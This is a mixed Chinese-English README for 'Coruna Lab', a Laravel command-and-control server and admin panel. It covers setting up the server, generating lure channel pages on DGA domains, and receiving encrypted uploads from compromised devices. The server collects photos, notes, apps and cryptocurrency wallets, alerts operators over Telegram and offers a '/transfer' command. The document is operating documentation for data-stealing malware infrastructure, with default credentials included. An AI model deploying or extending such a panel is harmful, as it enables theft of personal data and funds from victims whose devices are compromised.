# Coruna Lab Laravel C2 + Admin,渠道静态资源由内置 [`channel-builder/`](channel-builder/) 直接构建(DGA seed + channel id,无独立 Build API)。 ```text coruna-lab/ ├── app/ # C2 / Admin ├── channel-builder/ # source + Python patch tools ├── public/ # 默认产物根(可直接当静态站) │ ├── web// │ └── sync/ └── storage/app/channel-builder/ # lab_seeds.json + out/(不对外) ``` ## Requirements | Tool | Path / note | |------|-------------| | PHP 8.2+ | `/opt/homebrew/opt/php/bin/php` | | Composer | via brew PHP | | Python 3.10+ | `channel-builder/.venv` | | MySQL 8.0 | preferred;sqlite 可 smoke | | p7zip | `CORUNA_7Z_BIN` 或 `bin/7z`(C2 入库用) | ```bash export PATH="/opt/homebrew/opt/php/bin:$PATH" php -v cd channel-builder python3 -m venv .venv .venv/bin/pip install -r requirements.txt ``` ## Setup ```bash cp .env.example .env # edit .env: DB_*, TELEGRAM_*, ADMIN_*, CORUNA_ARTIFACT_ROOT / CORUNA_CHANNEL_BUILDER_* php artisan key:generate # once php artisan migrate --seed php artisan serve --host=0.0.0.0 --port=8000 ``` Admin: - Shell: `http://127.0.0.1:8000/admin` - Login: `http://127.0.0.1:8000/admin/login` - 默认账号:`admin` / `admin123`(见 `.env` `ADMIN_*`) ## 新建渠道 创建渠道时 Laravel 直接调用 `channel-builder/tools/new_project.py`: - **seed**:Deployment / Reporting 共用同一 seed(可同时传入相同值;否则读/写 `lab_seeds.json`,首次自动生成一份) - **首次**(或换 seed)会重建共享 `sync/`,并返回 DGA 域名供注册/绑源站 - **之后**新渠道只生成 `web//` ```dotenv CORUNA_CHANNEL_BUILDER_PYTHON=/path/to/channel-builder/.venv/bin/python # 默认即可:产物写到 public/,seed 状态在 storage/app/channel-builder/ # CORUNA_ARTIFACT_ROOT= # CORUNA_CHANNEL_STATE_ROOT= CORUNA_CHANNEL_BUILDER_TIMEOUT=600 CORUNA_LAB_CHANNEL_DOMAINS=cdn.example.com ``` 同机时 Admin 站点 `public/` 即静态根;DGA 域名反代到同一 `public/`: ```text https:///web//support.html https:///sync/daily.html ``` 宝塔部署见 [`docs/BAOTA_DEPLOY.md`](docs/BAOTA_DEPLOY.md)。 ## C2 / Admin 说明 - Reporting:AES-256-ECB JSON + multipart `/api/user/check` 7z - 入库:devices / apps / photos / notes / wallets + `c2_raw_logs` - Telegram:新设备、新/变更钱包;`/transfer` 指令 ```bash php artisan test ```